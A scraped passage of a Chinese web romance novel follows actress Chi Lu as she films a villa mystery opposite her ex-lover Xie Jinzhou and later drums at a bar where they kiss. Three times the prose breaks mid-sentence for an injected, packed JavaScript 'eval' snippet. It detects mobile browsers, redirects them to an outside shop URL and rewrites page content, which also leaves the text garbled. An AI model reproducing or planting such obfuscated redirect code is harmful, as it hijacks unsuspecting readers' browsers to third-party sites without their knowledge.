向眠饰演的苏棠戏份杀青,离开那天跟驰路说:“阿驰啊,你下次要记得,给我推荐个不是一出场就死的角色啊!” “好,我记着。”驰路把向眠送到离别墅几百米处的山口。 “好了,别送了,以后有的是见面的机会。”向眠抱了抱驰路,在她耳边说,“阿驰,如你所说,这世界是万花筒,很精彩,却精彩得很虚假,我们没有必要太认真。你要知道,青春不会再来,但对的人会一直在。你回头看看,那个人是不是一直在等你。” 驰路从没跟向眠说过自己跟谢劲舟的事,但听她这么说,她隐约感觉到她知道了些什么。 彼此都心照不宣,驰路拍了下她的背说:“眠眠,谢谢。” “以后有什么可以跟我说,我可以做你的树洞。”向眠挥着手跟她告别。 这六年里,驰路见过很多人,历经过无数次的告别,她知道每一次的遇见和告别,可能都是最后一次,不管对方名利多高,她都没放在心上。 但向眠不同,她去大学的第一天,下了一场雨,她独自拖着行李箱往宿舍走。身旁来来往往的都是给学生撑伞的家长,只有她,像是一只被遗弃的孤鸟。 她被淋得浑身湿透,大雨迷了她的双眼。 忽然,雨停了,可前方的雨水还在啪啪地砸在地上,溅起阵阵水花。 驰路侧头去看,身旁站着一个姑娘,笑容灿烂,宛若绽放的春花,正为她撑伞。 锦上添花不可贵,雪中送炭才动人。 后来,向眠成了她大学四年里关系最好的朋友。 她长相一般,在这个颜值为王的时代,十分不占优势。 她做过很多努力,默默地练着演技,但被选中的角色不是跑龙套就是炮灰,这次能出演《密林深处》,除了驰路的推荐,还有顾辞山看中她的演技。 向眠被现实打击过无数次,闪过无数回要不要换个行业的念头,但因驰路的一句话一直坚持着。 驰路跟她说:“我们不是俄狄浦斯王,没有那么多观众。演员,就是哪怕没有一个观众,也可以在无人的深夜里,演绎不同的剧本,挖掘另一个自我。你放弃,说明你不够爱这份职业。你坚持,不一定会赢,但一定不会输。” 为了这份“你坚持,不一定会赢,但一定不会输。”的念想,向眠毕业后毅然选择了演员的职业,两年后的今天,虽然在《密林深处》演的最小的一个角色,但她尽力了,这就够了。 …… 苏棠失踪案出现转机,是祁梦在迪娜的房间了发现了苏棠的手表,祁梦把这个发现偷偷告诉了陈醉,问他第二天要不要告诉林墨。 陈醉便拿着手表告诉林墨,迪娜是嫌疑犯,喊迪娜出来质问,迪娜却不承认,对手表为什么会出现在自己房间里更是大为震惊,表现出完全不知情的样子。 林墨去案发地点寻找线索,在一处山脚隐蔽处,发现了苏棠的尸体,没有任何打斗痕迹。 所有的嫌疑都指向迪娜,却苦于没有任何证据,谁都没有报警,林墨也没有轻举妄动。 就在案子有一点苗头时,凌晨十二点,传来诡异的声音,林墨第一个起床,冲向声音处,推开迪娜的门,看到她躺在床上,一动不动。 他走过去,看到她死鱼般睁大的眼。 林墨探手伸向她的鼻子下方,没气了。 嫌疑人死亡,说明苏棠案跟迪娜无关,另有其人,案子再次陷入迷局。 这场戏言嘉芝演得不在状态,顾辞山让她先休息下,琢磨好再拍。 言嘉芝从没演过被人谋杀的人,也没被人掐过脖,现场掐脖并没有真掐,只是把手放在她的脖颈处,她把握不好要怎样演出那种从惊讶到挣扎,再到对生的渴求。 她去阳台透气,抽着女士烟。 她还是迪娜的那身性感打扮,穿着黑色蕾丝睡裙,化着成熟的妆容,整个人陷在昏黄的余晖中,透着几许落寞。 “惊讶时,眼睛不用一下子睁很大,可以有个过度,慢一点睁大。挣扎时,除了握住对方的手,想让他放开,腿也可以动。至于生的渴求,要表现出想说什么但听不见说什么的样子,因为被掐着,只能从喉咙里发出一点声音。” 言嘉芝转头去看,竟然是驰路。 她刚才演戏时,余光瞥见过人群中的驰路,心理负担更重,她以为她会嘲笑自己,没想到竟然给她提表演建议。 言嘉芝起初听着总觉得不对劲,她凭什么来指导自己怎么演! 迪娜是她的角色,她知道怎么演。 但细细琢磨她的话,很有道理,她指出了,她无法表演出来的小细节。 而表演的艺术,细节到位格外重要,只有细节到位了,才能给观众带来真实感。 言嘉芝给驰路递过去一根烟:“抽吗?” 驰路看了看,接过:“有打火机吗?” 言嘉芝拿出打火机,刚想递给她,犹豫了下,直接按下打火机,给她点烟:“我可是第一次为别人点烟。” “谢谢。”驰路抽了一口,看她,“我看过你演的《暗恋守望者》,演的小姑娘乔真真不错。” 言嘉芝不禁笑了,驰路说的这部影片还是她十六岁那年拍的:“没想到你竟然看过的我电影,还是那么老的片子。” “嗯。”驰路背靠着阳台,透过烟雾看言嘉芝,“再拍的话,一条过,别影响进度。” 言嘉芝笑容更甚:“进度不会卡在我这里。” 再次拍被掐脖颈戏份时,言嘉芝一条过,顾辞山夸她演得逼真。 言嘉芝从床上起来,看到了站在顾辞山侧后方的驰路,嘴角扬起一抹笑意。 驰路朝她也露出一丝笑。 似有冰山在渐渐消融。 言嘉芝的戏份杀青那天,请剧组所有人喝冷饮、吃水果。 走之前,言嘉芝跟驰路说:“阿驰,有机会再见。” 驰路跟她碰杯:“芝芝,杀青快乐。” 彼此第一次如此亲密地称呼对方,不约而同地笑了。 言嘉芝说:“有一说一,你不是在演祁梦,你就是祁梦。” “你也是。” …… 戏已过三分之一,剧组人员已经在这个别墅里待了近一个月,拍摄进度顺利。 谁都没想到,野路子演员谢劲舟可以把落拓不羁的公子哥陆程真演得入木三分,顾辞山唯一对他不满的是,跟驰路演对手戏时,都有点用力过猛,看她的眼神,似乎在深吻她。 顾辞山在片场经常跟谢劲舟说的一句话就是:“小谢,注意眼神,收着点。” 别人都以为谢劲舟是入戏太深,只有驰路知道,他们之间不为人知的隐秘情感。 潮潮的,湿湿的,像南方潮热夏季里晾晒在窗台怎么也晒不干的校服。 时间到了八月初,蝉鸣声不断,没有空调的别墅热到不行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560813|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演员演戏时不开风扇,演几分钟就要擦汗补妆。 这天要演的是谢劲舟跟驰路第一次试演的那场戏。 在这之前,陆程真总会有意无意地跟祁梦产生一些小小的身体接触。 他会在无人看见的桌底,用膝盖碰触她的腿,见她退让,他会再贴过去。 他会在她洗碗时,走过去帮忙,水流滑过她的指间,他探手过去,接过碗,故意碰到她的手指,她会下意识地躲避。 他会在她睡觉之前,用唇语跟她说“晚安”。 他在一次次试探她对他的感情,也在悄无声息地对她好,会跑下山特意去买她爱吃的彩色汤圆,会在无人看见的书房里帮她盘头发,也会在下过雨的夜晚,她瑟缩着坐在阳台,他给她取暖,短暂地拥抱她几秒。 他接触的女人无数,她却是最特别的那个。 明明被陈醉晚上狠狠折磨,她却还赖在他身边,她到底是有多贱。 她是不是贱到,只要他勾一勾小指,她就会投怀送抱,把他当作她的英雄。 但偏偏没有,她躲着他。 这就有意思了,陆程真就喜欢自己得不到的,越是得不到,他越会努力去争取。 这晚,他听到了隔壁房间传来的压抑的女声,他贴着墙壁去听,是陈醉的,连续三晚他都听到。 压抑的凄惨声断断续续地传来,传一会儿,又没了,像被人捂住了口鼻。 他还听到衣服被撕开的声音。 陆程真的眼里露出抑制住的怒意,他从祁梦那儿知道了,其实,她跟陈醉是男女朋友关系,他们发生什么,不用他管。 但陈醉做的那些是人做的吗? 她为什么不跟他分手? 陆程真曾在给她盘头发的时候跟她说:“祁梦,你有没有想过,为自己活一次?” 祁梦说:“祁梦是谁?祁梦只是一个名字,人……早就死了。” 那天,谢劲舟的手在驰路的发间穿过,像穿过温柔的河流,宛若曾经。 驰路仰头望着谢劲舟,眼睛里流露出伤、迷惘、恨,甚至似乎还有一丝不易察觉的流光。 她用小指勾了下谢劲舟的手背,轻轻擦过,勾着唇笑,笑得倾倒众生,也笑得迷离破碎。 她说:“陆程真,你不用对我这么好,我们是不同世界的人。” 遇见陆程真之前,祁梦以为,爱就是跟她说甜言蜜语、给她送花买包,也是在每晚深夜折磨她之后在她耳边问她“疼不疼”。 她觉得陈醉给她的就是爱。 只是,这种爱,时而轻飘,时而沉重,时而残酷。 最让她无法忍受的,是一次次在她身上烙下的伤痕。 她从没跟他说过分手,也从没在他折磨她身体的时候,跟他说“下次可不可以不要这样”。 她不只是在包容着爱的人,更重要的是,她在还债。 三年前,如果不是陈醉,她的母亲早就死于那场大火,是他冒着生命危险,将母亲从火海中救了出来,为此,他的胳膊上有一道烧伤,时刻提醒着她,她欠他,一辈子都欠他。 亏欠是枷锁,捆住了她的手脚。她成了他的笼中雀,而且只是其中一个。 第一次听到陆程真说“为自己活一次”时,她心里探出一棵小苗,长势凶猛,一遍遍提醒她:祁梦,你该醒醒了! 驰路把处于是否要从旧的自我中挣扎出来的祁梦演绎得淋漓尽致。 她第一次入戏这么深,顾导喊了“咔”,她还沉浸在这个角色中。 那场戏后,谢劲舟觉得驰路看他的眼神都有些不对,不知道是她没有从戏中抽离,还是近一个月的相处,让她对自己有所改观。 他没有像陆程真去试探祁梦一样去试探驰路,只要看到她就好。 他能看出来,她对自己,避之不及。 谁都不提过往,过往成了一道横在两人之间的沟壑,无法跨越。 这次要跟她演试镜的那场戏,是比较激烈的一场,他期待已久。 97. 演戏状态不佳 「都说爱一个人,才会恨一个人。 Z,我恨你! 我还没做好准备,你就大张旗鼓地在我的世界下坠。」 ——《小蝴蝶的自由》 书房,黑漆漆的,为了营造一种真实的夜晚光照,这次没用打光灯,而是把窗帘拉开了一点,从窗外投进自然夜光。 这次的剧组人员也都在,驰路没让清场。 顾辞山问她怎么不让清场了,驰路没有正面回答,而是说:“顾导,这次祁梦要不要演出一种内心的犹豫和挣扎?” “你都把祁梦演活了,还需要我来指点吗。”顾辞山说,“就按照你的想法来。” 被谢劲舟狠狠推到书架上的驰路,感到后背传来疼痛,她疼得蹙眉,直直地盯着谢劲舟:“你知道你在做什么吗,陆程真?” “我在做什么,你看不出来吗!”谢劲舟将驰路的双臂抬高,举到她的头顶,压在书架上,以一种完全侵略的姿势看着她。 “你放开我!”驰路扭动着被他抓住的双手,身体也在挣扎着。 驰路这次的心境跟试演时完全不同,彼时,她跟谢劲舟六年未见,第一次演那种戏剧张力很强的戏码,搅乱她的心池。 这次,她是祁梦,有男朋友,却对陆程真产生好感。 她知道自己不该有这样的念头,她从小接受的教育便是,喜欢是一对一的,不可以脚踏两只船。 她没有脚踏两只船,但她清楚地知道,她情感的天平向一边倾斜。 祁梦开始质疑自己,有没有爱过陈醉,对他的情感,是爱,还是感激? 陆程真每次对她有意无意的触碰,都让她的心为之一颤。 是心动的感觉吗? 这是陆程真第一次发狠地吻她,她下意识地咬他。 她睁着眼看他,眼里流露出迷惘、犹豫。 驰路的唇上还沾着他的血,黑暗中,她看到他的唇破了一角,冒出血珠。 酒吧露台上,他把她按在墙角,比现在更加粗暴地吻她,她也咬了他一口。 他说:“驰大明星,你不是恨我吗,有本事,你恨我一辈子!” 眼前的人,是陆程真,还是谢劲舟,驰路出现了错乱。 “好啊,祁梦,”谢劲舟没去擦唇边的血珠,而是伸舌舔了下,抬起她的下巴,用指腹碾着她的唇,笑着说,“没想到你还有这一面。” 顾辞山喊了“咔!”,喊驰路来到监视器前,让她看她刚才的表演,“你自己看吧。” 驰路看自己刚才的表演,并不满意,她本想演出祁梦的犹豫和挣扎,结果只演出了犹豫,但眼中却少了挣扎。 “我知道怎么改进了。” 这一场戏,驰路来回演了六次,都被顾辞山喊了“咔”,她觉得自己把犹豫和挣扎都演出来了,为什么还是不行。 “知道为什么不行吗?”顾辞山指着监视器里停住的画面,“你看看你的眼神,爱意太多。” 驰路演时没发觉,经顾辞山提醒,好像他说得没错。 此时的祁梦只是对陆程真有好感,却不是爱,但她看他的眼神,却含着爱意。 “顾导,我先休息两分钟,调整下状态。”驰路知道自己该怎么演了,但她的心思陷在那晚露台上、陷在他的摩托车后座上、陷在他给自己渡烟上。 这样的她,怎么会演好。 驰路走到无人的阳台,想点一根烟,却被人夺走,重新递了一根细长的烟给她。 驰路抬头,来人是周柏屿。 “少抽烟。”周柏屿给她点烟。 驰路重重吸了几口:“死不了人。” “今天的你,状态不对。” “怎么不对?” “演这么多条都没过,你在想什么?” “可能有点累。”驰路随意找了个借口。 “需要我做点什么吗?”周柏屿往驰路的脸侧靠近,几乎要贴着她的脸。 谢劲舟靠在房间的墙上,看着在阳台上,被夜色笼罩的两人,亲密无间。 他有股想冲上去一把扯开周柏屿的冲动。 他去了阳台,但没扯开周柏屿,而是跟驰路说:“驰老师,两分钟到了。” 透过袅袅升腾的烟雾看他,驰路觉得他像烟雾后的一场梦,那么近,却又那么远。 周柏屿被助理喊了过去,阳台上只剩下他们。 驰路走到他身前,朝着他的脸吐出一个个好看的烟圈,用那双勾人的狐狸眼看她,从牙缝里挤出几个字:“谢劲舟,我恨你!” 如果不是你,也不至于一个镜头拍了六次都没过。 谢劲舟一把将她拽过来,用力地往墙上一按,几乎用带有戾气的眼神看她,咬牙说:“好啊,要恨就恨一辈子!” “你浑蛋!”驰路想甩开被他捏住的手,却被他捏得更紧。 谢劲舟一手反剪住她的双手,一手从她手里拿过烟,放在自己嘴里抽了几口,眯起眼看她:“味道不错。” 谢劲舟把烟塞回驰路的嘴里,松开她的手,转身离开,走了几步,又回头看她,挑眉道:“驰老师,怕你有误解,我解释一下,味道不错,不是指烟的味道,而是烟嘴上你的味道。” “谢劲舟!”驰路狠狠瞪他,有种被人调戏的感觉。 她不爽地吐掉嘴里的烟,抬手抹唇,想要抹掉沾到她唇上的他的味道。 谢劲舟,你不要脸! 谢劲舟却完全无视她的怒意,双手插兜,潇洒离开。 …… 驰路再补刚才没过的镜头时,眼里少了对谢劲舟的爱意,甚至几乎看不到,仿若蜻蜓点水。 她去看监视器,问顾辞山行不行。 顾辞山说:“这样可以,不多也不少,刚好。” 刚刚好的情绪表达,驰路做到了。 今天的戏拍完,正在她要去更衣室换衣服时,看到了谢劲舟,他的嘴角勾出一抹浅笑。 为什么他要对自己笑? 是搭档间友好的情绪表达,还是恭喜她补镜过了? 她想了下,忽然有些明白,为什么方才他在阳台上会对自己做出那番举动。 他一步步激怒她,无非想要她对自己的讨厌多一点,这样在演戏时,面对他,她的爱意就不会演得那么多了。 谢劲舟,你为什么要这样做? * 驰路换完衣服,走出更衣间,看到了迎面走来的谢劲舟,他手里正抱着一摞沉重的木板。 除了演戏,他还在剧组里干一些布景、道具的杂活儿。 如果没有这次演戏的机会,他是不是为钱所困,过得很不好? 驰路与他擦身而过,谁都没跟谁打招呼。 平时有人时,叫出的那声“驰老师”,不过是礼貌的假象。 不管在戏里有多少对手戏,戏外的他们,像是地球的两端,永远无法触碰。 驰路还想往前走,却被东西勾住,随之听到“嗤啦”一声,不得不停下来。 一转头,看到自己的T恤被木材上的一个钩子勾住,衣服的背后被撕扯开一块。 谢劲舟听到声响,停住,转身,看到驰路的衣服破了,露出后背破碎的蝴蝶文身。 这时,有工作人员往这边走,谢劲舟连忙将手中的木材靠墙摆放,毫不犹豫地脱下身上的黑色背心,走到驰路身前,把背心披在她的肩头。 驰路被他突如其来的举动吓到,边想扯掉背心边说:“谢劲舟,你不用这样做!” 谢劲舟却按住她的手,不让她有任何举动,看着她的眼睛:“我的错,我来承担。” …… 休息室里,小苏看到驰路肩上的黑色背心,大吃一惊:“驰姐,你这是什么搭配?这背心……有点眼熟啊。” “你那儿有创口贴吗?” “驰姐,你哪里受伤了吗?” “有吗?” “我找找啊。”小苏在包里找出创口贴。 “你给谢劲舟送过去。” “驰姐,你干吗对他这么好?” “人是我咬伤的,你说,我要不要负责?” 好像……有道理。 驰路把滑下去一些的背心,往上提了提,背心上属于他的气息,袭上她的所有感官。 她脑中浮现方才他脱掉背心后的画面,身材劲瘦,肌肉分明,胸肌、腹肌上有交错的伤痕,脖颈上流着汗珠,滚落到喉结上、锁骨上。 清晰可见黑色的字母纹身,旁边还有一只黑色的燕尾蝶。 字母文身,是用她写的字文上去的“myb”。 Mybutterfly,mybaby. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560814|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的蝴蝶,我的宝贝。 彼时情到深处,爱也刻骨。 六年前,她躺在他怀里,摸着他锁骨处的文身,问他为什么要文在这里。 谢劲舟说:“热爱什么,就应该把它刻在离心脏最近的地方。而我,热爱我的蝴蝶。” 她以为他会洗掉关于她的文身,为什么还留着? 他交往的女朋友难道不在意? …… 小苏给谢劲舟送去创口贴,谢劲舟没要,小苏一脸疑惑:“谢老师,这是驰姐特意让我送给你的,你怎么不要呢?” “要送,让她自己来!” 小苏回去的时候,想啊,谢老师不就是个野路子演员吗,摆什么架子,还要驰姐亲自来送! 她把谢劲舟的话转达给了她驰姐,她驰姐非但没生气,还露出一抹让她无法猜透的笑容。 小苏纳闷:这两人怎么回事?好奇怪! …… 在山上拍戏有个坏处,就是每天都要上下山,考验人的体力。 驰路近期依然在控制饮食,上下山都要耗费不少体力,她会走一段路歇一会儿,落在大部队后面。 周柏屿在她身旁,问她为什么要披着黑色背心,驰路简单跟他说了下原因,却没说是这背心是谢劲舟给的。 她知道,就算她不说,估计剧组里的人看了都知道是谁的吧,毕竟穿黑色背心的人,也只有谢劲舟。 他问她晚上有没有什么安排,要不要找个地方喝喝小酒。 驰路有些累:“算了吧,想回去休息。” 周柏屿也没强求,打开手机上的手电筒,为驰路照亮前路。 遇到陡的地方,驰路脚下一滑,被人及时抓住胳膊,才没有滑倒。 “我拽着你吧,这样安全点。”周柏屿温声说。 跟周柏屿在剧组相处一个月,驰路发现他并不是新闻里说的那种感情生活丰富的富二代,相反,在剧组时,常常会看到他捧着剧本研读,也没有传闻中的明星女朋友过来探班。 他绅士有礼,跟谁都处得不错,对她好像格外照顾,只给她递拧开瓶盖的水,只主动用小风扇给她吹风,只主动给她递女士香烟…… 驰路不难看出,他对自己有意思。 这样的搭档不少,但表露出真诚的不多,而周柏屿就是其中一个。 驰路没有拒绝周柏屿的好意,因为她还不想让自己滑倒或者崴脚。 走在他们身后的人寥寥,其中有一个人,始终看着他们这边的动静。 他的眼眸幽深,宛若深潭,潭水翻涌。 驰路的手机响了,她翻开看,弹出微信好友申请。 谁会加她? 驰路点开,看到的瞬间,眼睫颤动了几下。 她回头,对上某人的视线,他不知从哪里找了件黑色T恤,整个人跟夜色融在一起,看不清他眼中的情绪。 好友申请备注:负责。 发送人:Z。 * “地球引力”酒吧,舞台上歌声激昂,舞池里人群随着音乐的节奏舞动。 在平安镇这方小天地里,这里当属最热闹的存在。 白天无处安放的灵魂,似乎都在这里,得到了释放。 罗子昂看着嘴角破了的谢劲舟,凑近看:“哟,舟爷,你这是跟谁谈了?被谁咬了?” “猫咬的。”谢劲舟喝酒时,扯开嘴角的伤口,漫上疼意,却毫不在意,眼底反而露出意味不明的笑。 罗子昂对自家老大很是了解,这猫怕不是……驰妹? “你对驰妹发起爱的进攻了?”罗子昂笑道,“这速度都到咬嘴唇的程度了,够快啊!” “不是你想的那样。”谢劲舟更正,“蝴蝶在戏里咬的。” “咬得还挺狠啊!”罗子昂看着谢劲舟嘴角的伤,挺大一块,还没结痂,“你没想过追追这只蝴蝶?” 第一次确实是蝴蝶在戏里咬的,但只要有点愈合,他就再次咬破,好像只有这样,才能留住她留在他身体上的印迹。 谢劲舟的手机响了,他点开屏幕,微信有好友申请,点进一看,露出一抹痞帅的笑。 他慢悠悠地喝了一口威士忌,吊儿郎当道:“说不定蝴蝶还会飞回来。” 好友申请备注:不负责。 发送人:燕尾蝶。 98. 狠命地吻小蝴蝶 「我的世界,一片荒凉。 而你是我的理想。 小蝴蝶,我不会放手的! 你再爱我一场,好不好?」 ——《神明降临》 “舟爷,你看,那是不是倩倩?”罗子昂眯着眼看在人群中端着果盘的女生,穿着酒吧里的工作制服。 谢劲舟看过去,眸光一沉:“是她。” 她什么时候来酒吧打工了,还化了成熟的妆。 罗子昂感叹道:“倩倩这姑娘要是知道,你还惦记前女友,估计心都要伤透了。” “她还小,谈什么恋爱!” “舟爷,也就你一直把她当孩子,她都21岁了,还小啊!”罗子昂说,“她是不会谈恋爱,之前她不是说了吗,要谈也是跟你谈啊!” “人是会变的。”谢劲舟看到沈倩倩朝自己望过来,眼里先是一惊,继而露出惊喜的笑,快速地放下果盘,几乎是小跑着奔向他,跑得风风火火。 “舟哥,你怎么在这儿?” 谢劲舟跟她说过这段时间都在青宜市区忙一个项目,没时间见面,怎么会来平安镇。 “有个客户在这儿。” “待几天?”沈倩倩眼眸一亮,“要是有时间,明天我带你出去转转?” 罗子昂知道谢劲舟这谎是圆不回去了,尴尬地挠了挠后脑勺,跟谢劲舟说:“倩倩是谁,你就实话实说吧。” “过来。”谢劲舟朝她招手。 沈倩倩把耳朵凑到他嘴边,听到他说后,惊得睁大眼睛:“舟哥,你太棒了吧!我可以去探班吗?” “回头我问问。” 沈倩倩发现了谢劲舟嘴上的伤:“舟哥,你嘴巴怎么破了?” “没事,拍戏需要。” 话音刚落,舞台前方传来声音:“下面有请‘清白乐队’上场!” “哇哦!”罗子昂拼命鼓掌,这次来酒吧就是特意来看“清白乐队”的演出。 “舟哥,我先去忙了。”在嘈杂的声音中,沈倩倩不得不俯身凑到谢劲舟耳边说。 “好。”她刚转身,谢劲舟拽住她的手腕,“要是有人欺负你,记得告诉我。” 沈倩倩笑得朝他做出“OK”的手势。 …… 站在后台候场的驰路一直注视着他们这边的动静。 他还是那么受欢迎,身边从来不缺女人。 离开她之后,应该谈了不少吧! “阿驰,看谁看得这么认真?”时清推了下驰路。 驰路咬牙道:“狗!” 时清纳闷,酒吧禁止带宠物进来,哪儿来的狗! …… 谢劲舟不会想到自己还能再次看到驰路在舞台上打鼓,即使她戴着鸭舌帽,几乎盖住她巴掌大的脸,他依然能确定那是她。 舞台上的驰路戴着蝴蝶耳挂,手腕上戴着黑色铆钉手环,纤长的脖颈处戴着一条黑色颈链,颈链下挂着银色蝴蝶吊坠,露出的腰间戴着一条银色腰链,腰链上有三枚展翅飞翔的蝴蝶。 她穿着黑色针织短款背心上衣,下身穿热辣短裤,脚踩铆钉靴,跟在《密林深处》饰演穿旗袍的她判若两人。 穿旗袍的她,透出江南女子的婉约,有几分古典美。 此刻的她,迷人又神秘,仿佛藏在花草中的燕尾蝶。 她只坐在那里,便是光一般的存在。 随着音乐的旋律响起,驰路手中的鼓槌落下,叛逆的因子瞬间显露。 明明主唱兼吉他手程佑白、键盘手时清才是“清白乐队”的明星成员,但人们纷纷将视线投向第一次见到的驰路身上。 谢劲舟听到有人喊着:“我艹,这是新鼓手吧,酷炸了!” 驰路的身体随着音乐自由摆动,鼓槌一下下敲着鼓面,迸发出张扬的、不羁的、叛逆的气质。 Thistime Lovebites Wildrosesinmyhand……【注】 这首歌旋律特别,复古中夹杂着青春的酸甜,像在喝一瓶冰镇橘子汽水,把谢劲舟带到了六年前的夏日夜晚,他跟驰路坐在阳台上庆祝他学业进步,那晚,他收到了她送的银质复古打火机。 她说:“舟哥,你不用一直陷入深渊,你可以与悲惨命运共舞,也可以沿着命运的隧道,去找到自己的那双翅膀,飞往更高处。” 也把谢劲舟带到了六年前的12月31日,他们在“霓虹酒吧”一起迎接新年,他点燃心形仙女棒,跟驰路说:“新的一年,祝我的蝴蝶,自由飞翔,野蛮生长!” 在万千星辰下,在无人看见的瞬间,驰路轻轻咬了下他的耳骨,用她那独特的金属嗓音说:“舟哥,新年快乐!你要灿烂,你要盛大,你要辉煌!你不必成为谁的光,但你要做我的太阳。” …… Itravelallthetown Fromafar Idol''sfallingdown Intothedust 我从远方而来,路过每个城镇,看神明坠落凡间,化为渺渺尘埃……【注】 驰路抬头看向某处,看到某人正喝着酒。 神明坠落凡间了,还是她的神明吗? 正要收回视线,却发现他抬头,两人的视线越过熙攘人群,在半空中交织,宛若牵着一条线,牵连着彼此。 不过几秒,却如风起云涌。 这首歌结束,驰路听到有人在喊“清清,你真棒,我爱你”,熟悉的公鸭嗓。 她看过去,看到正在朝舞台这边使劲挥手的罗子昂,双手高举着应援牌,牌子上写着“时清时清,万古长青”。 罗子昂这是在热闹人群中,勇敢追爱啊! 而他身旁的那个人,有性感女人端着酒杯走到他身前,把手搭在他的肩头,跟他搭讪。 他并没有推开女人的手,抬头间,似乎朝她这边看了一眼。 下一首歌旋律响起,驰路敲鼓时,力道大了几分,像跟鼓有仇似的。 * 过了午夜十二点,驰路演奏完最后一首,找了个偏僻的角落喝酒,旁边坐着挡住她的周柏屿。 本来她不打算来,但听周柏屿说今晚有“清白乐队”的演出,想想好久没打鼓了,给时清打电话,问她欢不欢迎自己当一回鼓手。 现在驰路是明星中的顶流,她能来当鼓手,时清自是欢迎。 两人寒暄几句,驰路得知“地球引力”酒吧是程佑白、时清合伙开的一家分店,总店在芳町镇。 周柏屿没想到驰路竟然还会打鼓,夸她:“阿驰,你刚才打鼓的样子很酷!” “谢谢。”驰路给自己灌着白兰地,甘冽的味道滑过舌尖。 “你刚才打鼓时,经常往人群中看,是在找谁吗?” “没有。” 周柏屿见她一杯一杯地灌酒,感觉她情绪不太对:“不开心?” “酒好喝。”驰路摇着手里的酒杯,勾唇笑,笑意却未抵达眼底。 这时,纷纷有人挤了过来,围着驰路,想问她要联系方式。 驰路将鸭舌帽压得更低了,挡住了她的脸,只露出尖尖的下巴,低声说:“不用。” 音乐声大,来人根本没听到她在说什么,有的甚至凑到她面前,继续索要联系方式。 周柏屿看不下去,抬手护住驰路,让那些人走,但来酒吧的都是什么人,喜欢玩,有的玩得还很开,并没有把周柏屿的举动放在眼里。 “美女,把帽子摘下来,让我们看看,你长什么样呗。” “是啊,搞这么神秘干什么,又不是大明星。” …… 各种声音纷纷响起,吵得驰路脑壳儿要炸,她本来来这里想放松放松,结果遇到了这帮人,早知道不来了! 就在她想着怎么摆脱这帮人时,有人抓住了她的手腕,带着她离开。 她抬头一瞥,看到了一抹雾霾蓝的头发。 他带着她穿过人群,跑着离开热闹的夜场,后面似乎有人跟了过来,喊着“跑什么啊”。 这里的人,是没见过美女,还是没见过她这样的,非要追着她? 谢劲舟带她跑着,跑过台球厅、游戏厅、甜品店、冷饮店,再绕进小巷,绕了一圈又一圈。 巷子里格外安静,身后完全没了方才的声音,驰路停了下来,喘着气说:“谢……劲舟,你……可以……放开我了。” 谢劲舟走到她身前,托起她的下巴,盯着她妩媚的眼睛,一字一字地说:“我不会放开你!” * “谢劲舟,你什么意思?”驰路一把挡掉他的手。 “驰路,应该是老子问你,你什么意思,为什么要戴着我送你的耳挂……”谢劲舟的手摸上她的耳挂,指腹拂过她的耳廓,又移到她脖颈处,扯了下黑色蝴蝶颈链,再移到她腰间的腰链上,手指擦过腰链上的爱心、蝴蝶,惹得驰路身体微微发颤。 指腹所到之处,如过电般,泛起细细密密的酥麻。 驰路想要推开他,手却被他抓住,将她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560815|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把抱起,坐在后面的栏杆上,仰起头粗暴地吻她。 驰路脚够不到地,人下意识地往他的怀里倾去。 谢劲舟狠狠碾压着她柔软的唇珠,撬开她的唇,甘冽的酒味在两人的唇齿间流窜。 他像一头猛兽,在她的城池里,凶猛进攻。 驰路不是他的猎物,没必要为他缴械投降,她趁机含住他的舌,狠狠咬了他一口,毫不留情。 她刚想退出他的领地,他却紧随其后,勾住她的舌尖,也狠狠咬了一口,彼此的血混在一起,腥味蔓延。 驰路的双手搭在谢劲舟肩头,想推开她,却怎么也推不开。 谢劲舟紧紧环住她的腰,勾住她的后脑勺,鼻尖几乎抵着她的鼻尖,舔了舔嘴角破掉的伤口说:“驰老师,你咬的,是不是要负责?” 驰路的胃里翻涌,酒精作祟,灼烧着,脑袋昏昏沉沉。 她酒量不错,但这次喝多了,也喝猛了,醉意袭来,还有些难受。 “我才不要负责!”驰路抓住谢劲舟的T恤领子,苦笑道,“谢老师,你应该为我负责!” 为我的六年时光负责! 因为你,我再看不上谁。 因为你,谁都走不进我的心。 因为你,我一直守着一叶舟。 她在走花路时,会想,要是那个浑蛋在就好了,她要让他看看,她现在有多光鲜亮丽,是不是后悔跟她分开。 人一旦拥有过炽热的爱,就很难再奔赴下一个山海。 驰路的眼里流露出一抹忧伤,往事难追,旧人在,仗着酒意,说出“为我负责”的话。 话说出口,驰路又笑了,声音又哑又涩:“算了,就你,失联六年,怎么会为我……” 